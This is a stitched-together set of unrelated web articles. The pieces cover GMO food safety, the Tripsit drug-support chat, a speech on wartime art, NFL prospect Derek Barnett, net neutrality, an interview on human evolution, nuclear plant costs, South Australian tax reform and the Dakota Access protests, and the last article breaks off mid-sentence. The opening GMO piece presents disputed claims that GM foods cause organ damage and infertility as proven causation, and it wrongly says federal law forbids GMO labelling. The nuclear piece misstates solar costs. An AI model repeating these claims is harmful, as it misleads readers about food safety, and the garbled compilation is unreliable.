-In a press release dated May 19, the American Academy of Environmental Medicine, which describes itself as ‘an international association of physicians and other professionals dedicated to addressing the clinical aspects of environmental health,’ called immediately for the following emergency measures to be taken regarding human consumption of GMO foods:  * A moratorium on GMO food; implementation of immediate long term safety testing and labelling of GMO food.  * Physicians to educate their patients, the medical community and the public to avoid GMO foods.  * Physicians to consider the role of GMO foods in their patients’ disease processes.  * More independent long term scientific studies to begin gathering data to investigate the role of GMO foods on human health.  The AAEM chairperson, Dr Amy Dean notes that ‘Multiple animal studies have shown that GM foods cause damage to various organ systems in the body. With this mounting evidence, it is imperative to have a moratorium on GM foods for the safety of our patients’ and the public’s health.’ The President of the AAEM, Dr Jennifer Armstrong stressed that ‘Physicians are probably seeing the effects in their patients, but need to know how to ask the right questions. The most common foods in North America which are consumed that are GMO are corn, soy, canola, and cottonseed oil.’ The AAEM’s position paper on Genetically Modified foods can be found at http:aaemonline.org.  The paper further states that Genetically Modified Organisms (GMO) technology ‘abrogates natural reproductive processes, selection occurs at the single cell level, the procedure is highly mutagenic and routinely breeches genera barriers, and the technique has only been used commercially for 10 years.’  The AAEM paper further states, ‘several animal studies indicate serious health risks associated with GM food consumption including infertility, immune dysregulation, accelerated aging, dysregulation of genes associated with cholesterol synthesis, insulin regulation, cell signalling, and protein formation, and changes in the liver, kidney, spleen and gastrointestinal system.’  They add, ‘There is more than a casual association between GM foods and adverse health effects. There is causation as defined by Hill’s Criteria in the areas of strength of association, consistency, specificity, biological gradient, and biological plausibility. The strength of association and consistency between GM foods and disease is confirmed in several animal studies.’  GMO is toxic  The AAEM paper should give grounds for official rethinking of the current quasi laissez faire regulatory stance to GMO in which the solemn word of the GMO seed companies such as Monsanto is regarded as scientifically valid proof of safety. The AAEM study is worth citing in detail in this regard:  ‘Specificity of the association of GM foods and specific disease processes is also supported. Multiple animal studies show significant immune dysregulation, including upregulation of cytokines associated with asthma, allergy, and inflammation. Animal studies also show altered structure and function of the liver, including altered lipid and carbohydrate metabolism as well as cellular changes that could lead to accelerated aging and possibly lead to the accumulation of reactive oxygen species (ROS). Changes in the kidney, pancreas and spleen have also been documented. A recent 2008 study links GM corn with infertility, showing a significant decrease in offspring over time and significantly lower litter weight in mice fed GM corn. This study also found that over 400 genes were found to be expressed differently in the mice fed GM corn. These are genes known to control protein synthesis and modification, cell signalling, cholesterol synthesis, and insulin regulation. Studies also show intestinal damage in animals fed GM foods, including proliferative cell growth and disruption of the intestinal immune system. ‘  The AAEM study also reviewed the biotechnology industry claims that GMO foods can feed the world through production of higher crop yields. It cited contrary evidence that the opposite appeared to be true, namely that over time GMO harvest yields were lower than conventional yields and required over time, more not less, highly toxic herbicidal chemicals such as glyphosate. The report noted, ‘The several thousand field trials over the last 20 years for genes aimed at increasing operational or intrinsic yield (of crops) indicate a significant undertaking. Yet none of these field trials have resulted in increased yield in commercialized major food/feed crops, with the exception of Bt corn.’ However, the slight yield gain for Bt corn they report was ‘largely due to traditional breeding improvements,’ and not to GMO.  They conclude that because GMO foods ‘pose a serious health risk in the areas of toxicology, allergy and immune function, reproductive health, and metabolic, physiologic and genetic health and are without benefit, the AAEM believes that it is imperative to adopt the precautionary principle, which is one of the main regulatory tools of the European Union environmental and health policy and serves as a foundation for several international agreements. The most commonly used definition is from the 1992 Rio Declaration that states: ‘In order to protect the environment, the precautionary approach shall be widely applied by States according to their capabilities. Where there are threats of serious or irreversible damage, lack of full scientific certainty shall not be used as a reason for postponing cost-effective measures to prevent environmental degradation.’  Under intense public pressure, the German Minister of Agriculture recently issued a prohibition of planting for Monsanto MON810 GMO corn. Unfortunately, two weeks later she permitted planting of GMO potato seeds. Amflora, a genetically modified potato manufactured by chemicals giant BASF (a joint venture GMO partner of Monsanto), was declared by the German Ministry as posing ‘no danger for human health or the environment,’ The Ministry cited ‘in-depth examination’ and talks with scientific and economic experts as basis for the reckless decision.  The publication of the sensational critique of GMO by the American Academy of Environmental Medicine has been greeted with stone silence by most major US media and international press.  GMO politics  As I describe in great detail in my book, Seeds of Destruction: The Hidden Agenda of Genetic Manipulation, GMO was released on the general public in the early 1990’s in the USA under an executive decision by then President George Herbert Walker Bush, reportedly following closed door meetings with leading Monsanto executives. President Bush mandated that there should be no special health and safety tests done by any US Government agency before releasing GMO for food consumption. It came to be known as the Doctrine of Substantial Equivalence.  The US Government, on urging of Monsanto and the GMO lobby, further decided that labelling of a food product as ‘GMO free’ should be prohibited, using the vaguely formulated and entirely unscientific ‘doctrine’ proclaimed by President Bush in 1992, namely that GMO plants and non-GMO or ordinary plants were ‘substantially equivalent’ and hence needed no special testing before being released to the public.  That Substantial Equivalence Doctrine, despite the fact that it directly contradicts the demand of the GMO companies for exclusive patent rights to their GMO seeds as being ‘unique’ and different from ordinary seeds, enabled Monsanto, Dow Chemicals, DuPont and other GMO patent holders to proliferate their products with no control. Most Americans naively believe that the Government Food and Drug Administration and US Department of Agriculture are there to make certain industrial food products are confirmed fully safe for human and for animal consumption before licensing.  That de facto prohibition on labelling GMO foods has meant that most Americans have no idea how much of their daily diet from store-bought Corn Flakes to soybeans to corn and additives in every food on the supermarket shelf contained GMO contamination.  Coincident with the mass introduction of GMO into the human and animal diet in the United States beginning the end of the 1990’s, there have been reported epidemic levels of allergic outbreaks in humans, strange diseases and numerous other health issues. The fact it is forbidden by Federal law to label GMO products means most health professionals are not even aware there might be any connection to a GMO diet for millions of Americans. The US population, since the 1992 ruling of President Bush—a ruling reaffirmed by presidents Clinton, George W. Bush and now by Barack Obama and his pro-GMO Secretary of Agriculture, Tom Vilsack—has been in effect treated as human guinea pigs in mass experimentation for substances never independently proven in long-term (ten years or longer) studies to be safe.  It remains to be seen if the scientific critique of the AAEM is given the attention it warrants.
-On Dec. 26 of last year, a bunch of trippers on the Internet saved the life of a complete stranger.  The man went into an online chat room with a confession. He had taken a large number of Xanax, wandered into his local pub, started drinking heavily, and was waiting to pass out in the hope that he would never wake up.  In most random corners of the Internet, such a confession likely would have been met with an incredulous shrug or the flood derisive snark that’s so often comes in response to an obvious plea for attention. But the man didn’t wander into just any IRC chatroom, he came into Tripsit—a forum staffed by volunteers dedicated to helping people navigate intense drug experiences, both good and bad.  Immediately, the Tripsitters jumped into action. “We take any and all suicidal threats and dangerous drug combinations very seriously and this incident is no exception,” explained Tripsit founder Eric Hoftiezer explained. “For those who might not know, mixing benzodiazepine drugs with alcohol is extremely dangerous. Mixing any two CNS depressants is dangerous since the actions of one CNS-depressant tend to potentiate the other one. It’s not uncommon for users mixing benzodiazepines with alcohol to enter black-out states or even die.”  One Tripsit volunteer messaged the man. She determined that he lived in the U.K. and promptly got his name, location, and phone number. She gave that information to another member who called EMS. As they waited for the ambulance to arrive, she talked to him half a world away, via Skype. When he was told help was on the way, the man became anxious about what he had done. The volunteer reminded him that the Tripsit community had worked hard to help him in his moment of need and they weren’t about to let him down now. She didn’t get off the phone until she heard a paramedic say his name and he disconnected the call.  Tripsit began life as an eponymous community on Reddit in September of 2011. It was a place where drug users could talk about their experiences without fear of condemnation. Eventually, it grew into a repository of information about safe drug use and resource for counseling people through drug trips.  The following year, Tripsit expanded into its own independent website and IRC chat forum because Reddit proved to be an inefficient venue for providing people with immediate assistance.  Hoftiezer said that Tripsit has called ambulances for people, but they’ve never called the police. “There’s no reason to get somebody in legal trouble for possessing or consuming mind altering substances,” he explained.  The goal, he insists, is to avoid a repeat of what happened to Brandon Vedas.  Vedas was a 21-year-old man working in tech support at the University of Phoenix who went into a “#shroomery” IRC chatroom one day under the screenname Ripper, turned on his webcam, and began shoveling prescription pills into his mouth. Other people in the chatroom encouraged him—at least, until they realized he had overdosed. An argument ensued about whether to call 911. But, before anyone actually did anything, Vedas died. All the while, an automated bot repeatedly interjected, “Ripper is a gangster!!!”  Macabre doesn’t even begin to cover it.  Today, the Tripsit subreddit is a mixture of advice about what cool visuals to look after taking a large dose of acid to people in the midst of the bad trip begging for help. It’s also peppered with posts of people thanking the community for talking them through particularly hellacious drug experiences.  Hoftiezer explained that the key to Tripsit is keeping everything as non-judgemental as possible. “The human race has been altering their consciousness since the dawn of time, only recently has this practice been deemed illegal. Making substance use taboo is only causing further harm when these individuals have few or no options to turn to in order to better their life,” he said.  “A majority of these users then resort to different or more potent substances, and the cycle continues. Tripsit is one of the few places in the world where drug users can come to get guidance on how to better their lives, without being cast out as an addict or abuser.”  Correction: The story has been updated to clarify the timeline of the U.K. intervention.  Photo by epSos.de/flickr
-Tough times -- whether due to wars, economic hardships or political pressures-- provide opportunities for unveiling the true potential and capabilities of a nation. They reveal the strength of a country’s ability is to distinguish itself, how much it deserves to survive. Hence, one can observe that the best or parts of the most beautiful art works of a country are usually produced during such tough times.  Look at the existing body of literature and art; if you observe, you will find out that the sweetest and most creative works of art and great novels are produced in periods when a nation is carrying out a great task like the ones mentioned. Tolstoy’s “War and Peace” is about the Russian people’s amazing resistance against Napoleon’s attack and the great movement the people of Moscow launched to defeat Napoleon. Tolstoy has written more books, however, in my opinion what makes this book distinguished is that it is thoroughly focused on the Russian people’s spirit of defense. So is true for many other books written either about the revolution in the Soviet Union or the Great French Revolution, or about the wars between France and Germany and French people’s defense, like some of the works of Émile Zola. The most significant novels are the ones written during the most sensitive periods of a nation’s history, when it has been able to unveil its capabilities. That is probably true for paintings, too. Of course when it comes to paintings, I do not know enough, even as a casual observer; however, I assume that as far as I am informed, the most beautiful or part of the most beautiful painting masterpieces depict scenes of wars like “The Battle of Waterloo” or other scenes.  Statements at a meeting with veterans of literature and arts of resistance, August 28, 2005
-Derek Barnett, a former Brentwood Academy and Tennessee standout, worked out recently for the Tennessee Titans, according to Pro Football Talk.  Derek Barnett has had private workouts with Pats, Saints, Bengals, and Titans per source. — ProFootballTalk (@ProFootballTalk) April 5, 2017  Barnett, Tennessee's all-time sack leader with 32, is the 8th ranked prospect by CBS Sports. He ran a 4.88 40-yard dash at the NFL Combine.  As a junior in 2015, Barnett finished with a career-best 13.0 sacks and also led the team with 19.0 tackles for loss and two forced fumbles to earn First Team All-SEC honors. Barnett also registered 52 tackles for loss in his three seasons with the Volunteers.  Barnett worked exclusively as a 4-3 rush end in college. The Titans obviously run a 3-4 scheme under LeBeau. Could he make the change to outside linebacker like Derrick Morgan did?
-maartena Premium Member Its hard to be a Republican these days..... Most of my Republican friends have been getting quieter, and quieter, and quieter over the last year. They all voted for Trump, and every single one of them has said they wished they didn't. (Now, I am in Orange County, a county that usually votes Republican, but went Democrat in 2016, and Republicans around here typically do have SOME brains....)  Most of them are techies, granted, so Net Neutrality lies a lot closer to their hearts than say e.g. that abomination of a tax law, but.... it's getting hard to be a Republican and still stand behind Trump these days.  Good on Minnesota. California is planning a similar suit, and put their OWN Net Neutrality laws in place.... and its going to be almost impossible to impose fees and caps on your market of e.g. 9 states with decent footprints in each state, if e.g. 4 of them have a net neutrality law in place.... It would be easier and cheaper to just go with Net Neutrality then.  New York, Illinois, Oregon, Iowa and Massachusetts have already filed. Minnesota is next. California is working on it and probably will file in January. Keep it coming, and suck it Trump & Paj!
-Daniel Lieberman, the Harvard evolutionary biologist sometimes credited for sparking the barefoot running revolution, has a new book out—The Story of the Human Body—and it’s a doozy. Lieberman argues that only by looking at human physiology through an evolutionary lens can we truly begin to understand how we get fit, and, consequently, why we get fat.  The Story of the Human Body hits stores this week  That humans are poorly adapted to our modern lifestyle of convenience foods, flat screens, and desk jobs isn’t very controversial. But how we best cope with this new reality often is. Lieberman takes on many popular notions, including barefoot running, the paleo diet, epigenetics, and a host of hot topics ranging from obesity and chronic disease to Nanny State politics. We caught up with the good professor to hear more about his new book and the story of our bodies.  OUTSIDE: I wanted to ask you first to explain more about the provocative idea you bring up early in the book, the notion of "disevolution," which is something we seem to be in the throes of right now.  DANIEL LIEBERMAN: Well, I'm very interested in evolution and medicine, which forms one of the core themes of the book. And some of the focus of evolution and medicine has been: Why do we get sick?  It's not an insight that we, as a society, spend too much time treating the symptoms of diseases rather than their causes. But I guess the argument I'm trying to make is that that, too, has an evolutionary basis. I mean evolution as a perspective helps us inform what's going on, but it's not a traditional kind of evolution, with Darwin and natural selection. This is really a form of cultural evolution.  It seems like one of the key turning points has been this idea that, for many generations, humans have been trying to get enough calories, and now we've suddenly entered this period where we have too many calories.  Mm, it's amazing. And we're just not very well adapted for it.  Do you look at this from an evolutionary perspective and think, wow, we're really in this bizarre and transformative period?  I think so, yeah. One of my jobs is to try to look around at the world we live in, and to think about what's really normal and what's abnormal from an evolutionary perspective. It's normal to think that the world you grow up in is normal, right? We think it's normal to fly in airplanes, drive a car, eat breakfast cereal from a box, and all the other things that you and I probably do—but actually they're abnormal.  Now, just because it's new doesn't mean it's bad, and I think that's probably one of the problems with a simplistic ancestral-health, paleo-diet view. But just because it's new doesn't mean it's good, either.  A lot of things we take for granted make us sick. And we pay a huge price for it. Illustrating that perspective helps us step out of the world we live in and think about it more critically. And that's really the point.  So you’re saying that, basically, the lifestyle that we've come to understand as very normal and commonplace is actually, from an evolutionary perspective, quite abnormal.  Correct. A lot of people might think, oh, I'm going to go back to nature, and what they mean, usually, is to be a farmer. We think of that blissful, pastoral farmer's life as back to nature right? That's actually also abnormal because that's pretty recent. In fact, you could even argue that the bow and arrow is a pretty recent invention. We invented the bow and arrow, and we stopped having to run. And that's only the last 70,000 years.  Evolution is a complicated thing. There's no one point in time when all of a sudden our bodies became normal or abnormal. It's a constantly moving mosaic, which is why I tried to not just start with hunter-gatherers, where I think a lot of paleo-diet, ancestral-health perspectives begin. Hunter-gatherers are the end of an even longer story, and we need to know the whole story. I started arbitrarily with the origins of the human lineage when we diverged from apes, but of course we could go all the way back to fish.  What do you think about the paleo movement, since the back-to-nature idea has moved beyond the farmer and is now the caveman?  Anybody who reads what I wrote carefully will find the critique of the paleo diet in there. But there isn't any one paleo diet. There were many paleo diets, and just because our ancestors ate it doesn't mean it's better for us. After all, one of my key arguments—not an original idea, but I try to drive it home—is that natural selection is not geared toward making us healthy. It's geared toward making us have more babies in a very different context. But the relentless theme that I keep trying to bring up throughout the book is that adaptation is a tricky concept. And there's no simple answer to the question: What are we adapted for?  Early in the book you say that we haven't evolved to be healthy or happy. That struck me because not only do you see a lot of people seeking out solutions to health and fitness, they're also trying to sort out how to be happy. There are some evolutionary factors there as well.  I agree. I don't know the secret to it, either. Certainly having health helps you be happy. In your line of business, in my line of business, we become very aware of the relationship between the mind and the body. They are mutually interactive for many reasons, mostly because the things that make us healthy also make us happier. Physical health and mental health are often both improved by exercise and diet.  You write a bit about how running has influenced the humans we've evolved into today. I just want to make sure I understand one idea in particular, that we're the only animals that have evolved to run long distances in hot weather?  Pretty much, yes. There are other animals that have evolved to run long distances but they do so at night, or dusk or dawn, when it’s cool. We're the only animals that run long distances in the heat. And that gives us a huge advantage. I don't know the last time you tried to run down an antelope or a deer but, should you want to do it, you'd be better off doing it on a hot day.  I haven't chased one recently. But we can do so also because we’re designed to sweat, right?  It's the combination of the ability to cool by sweating and the ability to run at speeds that makes it possible. Because quadrupeds can’t pant when they gallop, they can’t cool themselves. So you basically knock out their thermoregulatory system. If you chase it long enough in the heat, you'll actually drive it into heat stroke. It's called persistence hunting. I can't pretend it's my idea. I've worked a lot on the evolution of running, but other people proposed that first. We just fleshed it out in a famous paper in 2004, the "Born to Run" paper, with Dennis Bramble.  I think that you can't really understand the value of long-distance running, and that's part of the theme that you mentioned earlier—what's normal versus abnormal. When you look around the world today, when you look out your office building, you'll see lots of people walking but you won't see a lot of people running. There are a lot of hunter-gatherer groups that don't run very much, but I'll make a bet that if you could go back 100,000 years you'd see a lot more running going on. Because before bows and arrows, before stone weapons were invented, how else were you going to get dinner? No one's come up with a better idea of why we are so good at running.  Let's talk about barefoot running, since your work pretty much put barefoot running on the map.  Yeah, sometimes I wish I'd never touched the subject! People have so many preconceptions about it and so much anger about this particular issue, which I find interesting. From my perspective, I'm not crazy about it. If you don't want to run barefoot run, don't run barefoot. It's more about how you run than what part of your feet you use.  Do you still find yourself confronted with a lot of controversy about it? It’s ebbed and flowed a bit in terms of its general popularity. And I've had a few conversations with physical therapists who are like, "Oh, god, barefoot running!"  Part of the problem is that it's been approached in a fad-ish way. A lot of people read Chris McDougal's book, Born to Run, which is a terrific book. And they think, oh my gosh, if I take off my shoes, everything will be perfect. I'll suddenly become an ultra-runner, and I'll have this incredible body. And of course, it's not that way. For one, barefoot runners get injured, too. Secondly, if you haven't been running that way your whole life, you're not adapted to it. You need to build up strength in your calf muscles in order to run properly.  But in any kind of fitness or conditioning program you are trying to introduce adaptation through progression.  Absolutely. I see that a lot of the time. People go buy a minimal shoe. I've heard a lot of good things about minimal shoes, but if you've been wearing cushioned, elevated shoes with arch support your whole life, and you suddenly just throw them away and put on a minimal shoe and you go for a 10-mile run, you are going to be very unhappy. And probably soon seeing a physical therapist.  But if you slowly introduce it, and adapt to it, you might benefit from it. On the other hand, if it ain't broke, why fix it? If you aren’t getting injured running in a conventional shoe, there's nothing wrong with it. I'm not opposed to heel striking. I just think that we shouldn't pretend that it's not normal.  Is evolution, or adaptation, or both, accelerating? Are we changing faster than we did in the past?  Well, that's a bit of a debate at the moment. So it depends on the time span you look at. There was a good, popular book a few years ago, The 10,000 Year Explosion, that makes the argument that evolution has actually been accelerating since the emergence of agriculture. There’s a section in my book where I discuss those ideas.  To one extent the answer is yes, and to another extent the answer is no. By having much, much larger population sizes, for natural selection to occur, you need to have intentions that are beneficial or detrimental. And differential reproductive success. One engine that drives at our regeneration is intentions, and the other engine that drives it is competition.  Larger populations create more mutations. So there's more variation out there to act on. But the other side of the coin is that, now, cultural evolution is acting strongly. How much the effects of those variations influence how many offspring you have that survive and reproduce is debatable. One example might be that since the origins of farming there have been lots of selections for genes that affect how we digest carbohydrates. But on the other hand, those diseases that we get from digesting carbohydrates, like Type-2 diabetes don't often affect people until after they've had kids.  It’s kind of an extreme way of saying that natural selection hasn't stopped. And there's more variation out there. But on the other hand, we have so many cultural means to deal with the deleterious effects of our genetic background that it's probably not so important. For example, we know there's a genetic basis for things like myopia and flat feet. Those genes didn't cause people to get myopic or flat footed back in the paleolithic, because they weren't living inside, and reading books, and wearing shoes with arch supports. But the environmental interactions lead to myopia and flat feet. I would be really shocked if people who were myopic or who had flat feet had lower reproductive fitness than people who have normal feet and normal vision. There's no deleterious consequence because in this culture we've got orthotics, and we've got glasses and contact lessons. So natural selection is clearly not acting in those cases.  At times when I was reading the book, I felt like I was projecting forward and wondering if we were all going to end up looking like the cartoon humans in the movie Wall-E.  Oh yeah, I made a mention of that. I think that's where we're headed. Two thirds of Americans are overweight or obese, and about a third of American children are overweight. The numbers don't look good at all.  And other countries are in for a serious crisis. Take India. The journal Nature called it a Type 2 diabetes time bomb. The middle class there has terrible rates of obesity, and diabetes is rising at an alarming rate. One of the scary things about India is that they appear to have less genetic background that protects people. And people are getting it at lower ages there. Also, a lot of the medications that have been developed don't work as effectively on younger individuals.  You talk about the different factors that influence health and fitness, that it really goes beyond diet and exercise to includes genes, your microbiome, stress, and sleep.  Yep. No question about it. I also discuss the hygiene hypothesis, about how our bodies are filled with things that aren't us—about 10 times not you in terms of cells in your body, especially in your gut. Every time you take an antibiotic you change the bacteria in your ecosystem. Sometimes that can have negative consequences. A lot of autoimmune diseases may result from changes in our microbiomes. Certainly, it's been proven to have an effect on obesity.  As for sleep, lack of sleep elevates chronic stress and leads to a series of problems. Sleep also affects your appetite, and the regulation ghrelin and leptin. Everything we talk about is a gene-environment interaction. I focused on the environment’s role, partly because we can't really change our genes. So environment is where we need to focus our efforts.  My sense is that a lot of people feel like they're doing something to combat weight issues and they're frustrated because they’re going to the gym every day and working out for an hour and not getting the results they want. You're suggesting a more comprehensive fitness strategy where all of the factors need to come into line. Changing one or two of them isn't going to really make much of a difference.  I agree with everything you just said. If your sole goal is to lose weight, if that's the reason to exercise, then yes, you are going to be disappointed. It's very hard to lose weight through exercise. But since when was that the only reason to exercise? Physical activity makes you happier, makes you smarter, helps your heart, helps digestion, and a thousand other things.  Second, the data on physical activity helps you keep weight off more than lose it. And third, you're right, there is no magic bullet and part of the problem is that once you're overweight, your body wants to stay that way. That's what we're evolved for.  There's a reason dieting is hard, people who lost weight, were at a reproductive disadvantage most of our evolutionary history. So when you diet, guess what, you exercise less, because you lose the motivation, because you're tired, right? That makes sense, because before the industrialization of food we were programmed to save that energy so we could reproduce better. If people understand the evolutionary story, they can better tackle the problem, they understand their body’s natural response.  This is the genetic destiny we all share, then. Am I understanding it right?  Yeah, absolutely. It’s harder for the person who is already overweight because signaling mechanisms shut off sensitivity to leptin that prevents going into negative energy balance. So we have to stop blaming people who are overweight for being overweight. It's not their fault and we should stop demonizing and ridiculing them. Instead we should understand what they’re going through and how we can help, and that requires an evolutionary perspective.  You get into some ideas at the end of the book about ways to encourage this change.  Part of the book was about that because everybody has strong opinions on what to do. Evolution offers several lessons. One is what kind of environment we’re adapted for, and how there's a complicated trade off for every adaptation.  Secondly, it's important to recognize what we're up against—our evolved instincts. They're almost clichéd, right? If I put celery and a donut in front of you, and we talk for an hour, at some point you are going to reach for the donut before the celery. I would.  If you put a little peanut butter on the celery, maybe I'd go for the celery… Nah, I'd probably still go for the donut. Especially if it's the afternoon, when my brain is really craving the sugar.  Exactly. Those are real instincts, and they need to be understood. And to ask people to suddenly start pretending that their instincts don't exist is just fantasy. There are a few of us who can occasionally do it, but most of us fail most of the time.  So the way I stay fit and healthy is by coercing myself, frankly. I like to run marathons. I sign up for them, not so much because I like to run marathons, but when I sign up for one, it forces me to train because, say, on October 15th I've got to slog through 26 miles. If I didn't, there's no question, here in New England on a Sunday morning in February when it's minus 20 and the roads are covered in ice, ehhh, I'm not going to run.  I have a group of friends I run with so I've now forced myself, I’m accountable. When I go shopping, I always go shopping after I've eaten so I'm a little less likely to do all that craving purchases. We all learn tricks. Fortunately I have enough means and have time to train and run and buy healthy food and not everybody has those opportunities and abilities. And that's why we coerce children. Nobody gives children the choice about what they're going to eat, or at least most people don't.  You bargain and negotiate.  Once you start negotiating, you've lost. The problem is you can't philosophically justify coercion in most cases for adults. In some cases we do, like with seatbelt laws, but they are big battles.  You can't prevent somebody from smoking or eating donuts, but we can't do it on our own, either. We live in a world in which people have provided us all of these comforts and foods that we crave, and our instincts aren't, for the most part, able to handle it.  There is also a lot of deceptive advertising. You know, all those muffin shops claiming their goods are fat free. Technically they're right—these muffins are fat free. But they're 50 percent sucrose, and sucrose is 50 percent fructose, which basically turns straight into fat in your liver. We need laws to prevent that kind of advertising because people don't understand it. We need government on our side in a way that helps us help ourselves, but in a way that respects people's liberties and freedom to do what they want with their lives.  What do you think about things like Mayor Michael Bloomberg's soda ban in New York?  I think that's actually a good example of libertarian paternalism. Because on the one hand, he's not preventing people from drinking soda. He's just saying you can't buy 32-ounce sodas. If you want 32 ounces of soda, you have to buy two. And you can't prevent anyone from doing that. I think people overreacted, as if it was an infringement of their rights. But I think it was a reasonable nudge rather than a shout or a push.  We're in a healthcare crisis. We spend, what, 2 trillion a year in the U.S.? Some of the diseases people get are preventable. Heart attacks, coronary heart disease, strokes—and it's costing a fortune. Can we afford not to take some action? What's going to happen to our economy if we don't start enacting some measures?  It certainly seems like the argument from an evolutionary biology perspective is making a very effective and persuasive case against a lot of this.  Thank you. I also wanted people to understand where they really came from rather than having some kind of artificial idea about cavemen.  Some people just seem to think they should eat more meat. They need some of the actual science behind it and that's in short supply right now.  I also think the paleo movement has done a lot of good, but its become a bit of...it's not quite a clique, but there is a bit of a group think.  My take is that the core community that embraced paleo initially were a little bit more serious about it and probably understood the nuances better. Now that it's more widespread, people are just co-opting it and taking it as dogma.  You know, if you think about it, with 7 billion people on the planet, we're not going to be able to feed them all grass-fed beef. Whether you like it or not, we can't do it. It's just not an option. That's not our solution, and that's not going to help the largest number of people.
-How much is that nuclear reactor in the window?  The answer has bedeviled researchers, government officials, academics and others for years. The U.S. hasn't commissioned a new nuclear reactor in years so any baseline data is very old. Reactor designs have changed since the '70s, a move that nuclear advocates say could make nuclear plants cheaper. Critics, on the other hand, have said that rising prices for things like steel combined with the chronic delays and budget overruns that regularly occur make nuclear unaffordable.  How much do the answers vary? In 2003, MIT estimated that the "overnight cost," or the cost of a plant without financing, would be $2,000 per kilowatt. In 2009, MIT updated the figure to $4,000 a kilowatt, assuming some of the risk factors could be eliminated.  Meanwhile, Mark Cooper, from the University of Vermont Law School, said earlier this year that the overnight cost might be in the $7,000-to-$8,000 per kilowatt range, with the all-in cost of a 2-gigawatt nuclear plant including financing running around $20 billion to $25 billion -- in other words, $10 or more per watt. Financing costs are important to include because plants take years to erect: even a one percent loan on a $8 billion project adds up. As a result, the high price results in nuclear socialism, he argues, because plants will always need state support.  Constellation Energy, which wants to build a 1.6-gigawatt plant in Maryland, shed some light on the subject when it pulled out of the DOE loan program. Constellation had been seeking a guarantee that would cover 80 percent of the $7.6 billion loan on the Calvert Cliffs 3 project. The entire budget for the project is estimated at $9.6 billion. Constellation pulled out because the DOE requested a $880 million fee -- around 11.6 percent of the loan -- for the guarantee. The fee would make the project un-economical, Constellation said.  But back to the math. $9.6 billion divided by 1.6 gigawatts equals $6,000 per kilowatt, or $6 per watt. Adding the cost of the DOE guarantee would boost it to $6.55 per watt.  The figure obviously is an estimate. 1.6 neatly divides into 9.6 with no remainder. That sort of thing doesn't happen generally when dividing in the billions. The total cost would also likely be impacted by cost overruns, operations, waste management, maintenance or fuel. Fuel actually only adds two to four percentage points to the overall cost, but some of the other factors are less predictable.  Still, even as an optimistic estimate, it seems to indicate that nuclear could be having trouble keeping up with the rest of the industry. Wind, although intermittent, costs $1,300 a kilowatt. Flow batteries for storing wind power sell for $4,000 a kilowatt. Compressed air can cost $1,000 per kilowatt. Conceivably, wind and storage together hover just under the $6,000 kilowatt benchmark for nuclear. A home solar installation costs $6,000 a watt after incentives and far less for utility-scale projects. Solar and wind, of course, regularly drop in price due to the force of mass manufacturing.  The MIT report adds that even at $4,000 a kilowatt nuclear would need loan guarantees initially and other incentives to stay competitive with natural gas ($850 a kilowatt) and coal ($2,300 a kilowatt). The researchers also recommend carbon pricing.  Again, a final, or even somewhat accurate, price is difficult to determine. These are rough estimates and we hope to delve deeper into the numbers soon. But the nuclear industry likely needs to do better than this.
-Annual homeowner tax of $1,200 an option in SA Government's overhaul of state's tax system  Updated  Homeowners could face a broad-based land tax of about $1,200 a year in return for abolishing stamp duty under a review of the South Australian tax system.  The SA Government released a discussion paper looking at ways to change the way South Australians were taxed.  The State Government released the paper as a summary of the state's current tax system and tax reform options that have been suggested in the past.  Another idea put forward by the Government was an overhaul of payroll tax, which would see thresholds and rates reduced or abolished.  Premier Jay Weatherill said the ideas do not reflect the Government's intention in relation to tax reform, but could help people with public submissions on the changes.  "The State Government is open to radical reform to our state taxation system," he said.  "Nothing is out of bounds, be it taxes, levies or concessions.  "Our state taxation system offers the means to provide high-quality services that the South Australian community values and that make our state a great place to live and raise a family.  "But our state taxation system must also assist investment, create new opportunities and encourage business owners to employ more South Australians."  Liberals opposed to land tax  Opposition leader Steven Marshall said he did not support the idea of a land based tax on households.  "We will always advocate for cutting out waste and inefficiency in the State Government before pinching households in South Australia," he said.  "We will not, I absolutely repeat, we will not support Jay Weatherill's plan to put a $1,200 hit on the average family in South Australia."  But Robert Harding from the Housing Industry Association said the proposal could create a more efficient system and improve housing affordability.  "Any examination of taxation regime will have the effect of lowering the cost of the housing, so that people are more able to get in to the housing market, particularly those who are first home buyers," he said.  The South Australian Council of Social Service (SACOSS) said any tax system change needed to benefit the wider community, not just the business sector.  SACOSS senior policy officer Greg Ogle said fairness needed to be the priority.  "We want to make sure that community voices and the interests of vulnerable and disadvantaged people are actually reflected in the debate, and not just the business end of town and not just those who are able to muster the PR resources to dominate the debate," he said.  Business SA chief executive Nigel McBride said imposing a broad-based land tax would be a way to encourage economic growth.  "This is something that at least we can support in the interim to see if we can get the very best out of a bad system, which is the State Government having to tax areas of the economy to pay the bills," he said.  Tax reform was one key area outlined yesterday during the opening of the state parliamentary year.  Treasurer Tom Koutsantonis will meet with business, industry and advocacy groups, as well as community representatives in regional areas over the coming months to discuss the review.  The Government is calling for public submissions on the paper by April 10.  Topics: tax, government-and-politics, state-parliament, parliament, states-and-territories, adelaide-5000, sa, australia  First posted
-Protesters gather at an encampment a day after tribal leaders received a letter from the U.S. Army Corps of Engineers that told them the federal land would be closed to the public on Dec. 5, near Cannon Ball, North Dakota, Nov. 26, 2016.  Dakota Access oil pipeline protesters will not follow a government directive to leave the federal land where hundreds have camped for months, organizers said Saturday, despite state officials encouraging them to do so.  Standing Rock Sioux tribal leader Dave Archambault and other protest organizers confidently explained that they'll stay at the Oceti Sakowin camp and continue with nonviolent protests a day after Archambault received a letter from the U.S. Army Corps of Engineers that said all federal lands north of the Cannonball River will be closed to public access Dec. 5 for "safety concerns."  The Corps cited the oncoming winter and increasingly contentious clashes between police and protesters, who believe the pipeline could harm drinking water and Native American cultural sites.  Standing Rock tribal members believe the land in which the encampment is on is owned by the Sioux through a more than century-old treaty with the U.S. government.  S. Carolina Pediatrician Stops Taking Unvaccinated Patients  A South Carolina pediatrics office is turning away unvaccinated patients, citing the health and safety of other immunocompromised children who are in danger of catching contagious diseases in the waiting room. Parents say their choices for their unvaccinated children are shrinking. (Published Tuesday, Feb. 26, 2019)  "We are wardens of this land. This is our land and they can't remove us," said protester Isaac Weston, who is an Oglala Sioux member from South Dakota. "We have every right to be here to protect our land and to protect our water."  The vast majority of the several hundred people fighting against the four-state, $3.8 billion pipeline have created a self-sustaining community at the sprawling camp, which is on Corps land in southern North Dakota, and have put up semi-permanent structures or brought motor homes and trailers in advance of the harsh winter.  On the unseasonably warm Saturday, people were chopping wood and setting up tents at the encampment, which is more than a mile from a Missouri River reservoir where the final large segment of the pipeline is yet to be completed due to the Corps consulting with the 